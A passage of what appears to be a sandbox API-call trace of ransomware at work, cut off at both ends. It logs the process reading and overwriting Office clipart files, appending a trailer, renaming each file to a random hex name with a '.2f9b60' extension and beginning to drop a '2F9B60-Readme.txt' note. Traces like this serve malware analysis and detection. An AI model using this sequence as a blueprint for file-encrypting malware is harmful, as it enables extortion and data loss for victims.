0x23e27f29 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x16a57ddc [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x76c80e81 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x1d70f746 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x3028def7 [0106.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0106.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e978d0 [0106.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9b4e0 [0106.457] ReadFile (in: hFile=0x1588, lpBuffer=0x41e978d0, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x2a6afaf0, lpOverlapped=0x0 | out: lpBuffer=0x41e978d0*, lpNumberOfBytesRead=0x2a6afaf0*=0x2420, lpOverlapped=0x0) returned 1 [0106.462] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.462] WriteFile (in: hFile=0x1588, lpBuffer=0x41e9b4e0*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2a6afaf4, lpOverlapped=0x0 | out: lpBuffer=0x41e9b4e0*, lpNumberOfBytesWritten=0x2a6afaf4*=0x2420, lpOverlapped=0x0) returned 1 [0166.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22d0 [0166.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a21b0 [0166.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a21b0) returned 1 [0166.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9b4e0) returned 1 [0166.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e978d0) returned 1 [0166.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0166.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0166.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a21b0 [0166.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0166.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0166.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a21e0 [0166.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a21e0) returned 1 [0166.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a21e0 [0166.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2240 [0166.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2210 [0166.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2210) returned 1 [0166.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0166.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0166.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12c50 [0166.079] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.079] WriteFile (in: hFile=0x1588, lpBuffer=0x1ce12c50*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a6afc10, lpOverlapped=0x0 | out: lpBuffer=0x1ce12c50*, lpNumberOfBytesWritten=0x2a6afc10*=0x10a, lpOverlapped=0x0) returned 1 [0200.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb540 [0200.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb540) returned 1 [0200.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb540 [0200.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb510 [0200.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb510) returned 1 [0200.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ff30 [0200.135] sprintf (in: _Dest=0x1cd9ff30, _Format="%c%c" | out: _Dest="db") returned 2 [0200.135] sprintf (in: _Dest=0x1cd9ff32, _Format="%c%c" | out: _Dest="79") returned 2 [0200.135] sprintf (in: _Dest=0x1cd9ff34, _Format="%c%c" | out: _Dest="21") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff36, _Format="%c%c" | out: _Dest="ce") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff38, _Format="%c%c" | out: _Dest="01") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff3a, _Format="%c%c" | out: _Dest="46") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff3c, _Format="%c%c" | out: _Dest="79") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff3e, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff40, _Format="%c%c" | out: _Dest="08") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff42, _Format="%c%c" | out: _Dest="44") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff44, _Format="%c%c" | out: _Dest="95") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff46, _Format="%c%c" | out: _Dest="82") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff48, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff4a, _Format="%c%c" | out: _Dest="2c") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff4c, _Format="%c%c" | out: _Dest="88") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff4e, _Format="%c%c" | out: _Dest="b8") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff50, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff52, _Format="%c%c" | out: _Dest="81") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff54, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff56, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff58, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff5a, _Format="%c%c" | out: _Dest="57") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff5c, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.136] sprintf (in: _Dest=0x1cd9ff5e, _Format="%c%c" | out: _Dest="35") returned 2 [0200.136] RtlInitAnsiString (in: DestinationString=0x2a6afc88, SourceString="db7921ce014679ec084495823c2c88b8cb81c15ab9575a35" | out: DestinationString="db7921ce014679ec084495823c2c88b8cb81c15ab9575a35") [0200.136] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a6afc58, SourceString="db7921ce014679ec084495823c2c88b8cb81c15ab9575a35", AllocateDestinationString=1 | out: DestinationString="db7921ce014679ec084495823c2c88b8cb81c15ab9575a35") returned 0x0 [0200.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0400 [0200.137] wcscat (in: _Dest=0x431e3b20, _Source="db7921ce0146" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db7921ce0146") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db7921ce0146" [0200.137] wcscat (in: _Dest=0x431e3b20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db7921ce0146.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db7921ce0146.2f9b60" [0200.137] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db7921ce0146.2f9b60", NtPathName=0x2a6afc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db7921ce0146.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed1a0 Thread: id = 664 os_tid = 0x1144 [0096.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0106.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF", dwFileAttributes=0x20) returned 1 [0106.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b4 [0106.413] GetFileSizeEx (in: hFile=0x15b4, lpFileSize=0x2a4bfa80 | out: lpFileSize=0x2a4bfa80*=5016) returned 1 [0106.413] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.413] ReadFile (in: hFile=0x15b4, lpBuffer=0x2a4bfa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a4bfa48, lpOverlapped=0x0 | out: lpBuffer=0x2a4bfa00*, lpNumberOfBytesRead=0x2a4bfa48*=0x4, lpOverlapped=0x0) returned 1 [0106.420] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.421] NtQuerySystemTime (in: CurrentTime=0x2a4bf940 | out: CurrentTime=0x2a4bf940*=132462177119062000) returned 0x0 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x167e987a [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x25894b88 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x2b652220 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x610f9a31 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x1389f62c [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x333c3ebc [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x7e0db123 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x69ced557 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x3c22a0b9 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x2def8837 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x6659d825 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x7e7d59a8 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x5d30200b [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x40e6edef [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x5ea10d53 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x234c538f [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0xfa5acde [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x9543587 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x459d428 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x2ce72844 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x7fc21edd [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x61968805 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x122669f2 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x6a4aca9d [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x75f16517 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x43d4e1f7 [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x47e2403f [0106.421] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x58143c44 [0106.422] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x65e1c82b [0106.422] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x33b301fe [0106.422] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x15f6b82b [0106.422] RtlRandomEx (in: Seed=0x2a4bf930 | out: Seed=0x2a4bf930) returned 0x29753b8b [0106.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0106.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.434] ReadFile (in: hFile=0x15b4, lpBuffer=0x41eb5950, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x2a4bf930, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesRead=0x2a4bf930*=0x1398, lpOverlapped=0x0) returned 1 [0106.445] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.445] WriteFile (in: hFile=0x15b4, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x1398, lpNumberOfBytesWritten=0x2a4bf934, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2a4bf934*=0x1398, lpOverlapped=0x0) returned 1 [0106.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0106.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8370 [0106.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7980 [0106.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.461] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.461] WriteFile (in: hFile=0x15b4, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a4bfa50, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2a4bfa50*=0x10a, lpOverlapped=0x0) returned 1 [0106.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.478] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="e2") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="0c") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="5e") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="ba") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="72") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="2c") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="28") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="9d") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="4c") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="f9") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="1d") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="a9") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="89") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="db") returned 2 [0106.478] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="9a") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="ca") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="a6") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ca") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="69") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="e8") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="af") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="de") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="2d") returned 2 [0106.479] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="b1") returned 2 [0106.479] RtlInitAnsiString (in: DestinationString=0x2a4bfac8, SourceString="e20c5eba722c289d4cf91da989db9acaa6ca69e8afde2db1" | out: DestinationString="e20c5eba722c289d4cf91da989db9acaa6ca69e8afde2db1") [0106.479] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a4bfa98, SourceString="e20c5eba722c289d4cf91da989db9acaa6ca69e8afde2db1", AllocateDestinationString=1 | out: DestinationString="e20c5eba722c289d4cf91da989db9acaa6ca69e8afde2db1") returned 0x0 [0106.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5630 [0106.479] RtlFreeAnsiString (AnsiString="e") [0106.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffb90 [0106.480] wcscat (in: _Dest=0x204ffb90, _Source="e20c5eba722c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c" [0106.480] wcscat (in: _Dest=0x204ffb90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60" [0106.480] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60", NtPathName=0x2a4bfa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e20c5eba722c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1070c0 [0106.480] NtSetInformationFile (FileHandle=0x15b4, IoStatusBlock=0x2a4bfb10, FileInformation=0x1070c0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0109.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292a40) returned 1 [0109.715] NtQueryInformationFile (in: FileHandle=0x15b4, IoStatusBlock=0x2a4bfad8, FileInformation=0x2a4bfae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a4bfad8, FileInformation=0x2a4bfae8) returned 0x0 [0109.715] NtSetInformationFile (FileHandle=0x15b4, IoStatusBlock=0x2a4bfad8, FileInformation=0x2a4bfae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb90) returned 1 [0109.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5630) returned 1 [0109.728] FlushFileBuffers (hFile=0x15b4) returned 1 [0109.732] CloseHandle (hObject=0x15b4) returned 1 [0109.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffb90 [0109.733] wcscpy (in: _Dest=0x204ffb90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.733] wcscat (in: _Dest=0x204ffb90, _Source="2F9B60-Readme.txt" | out: 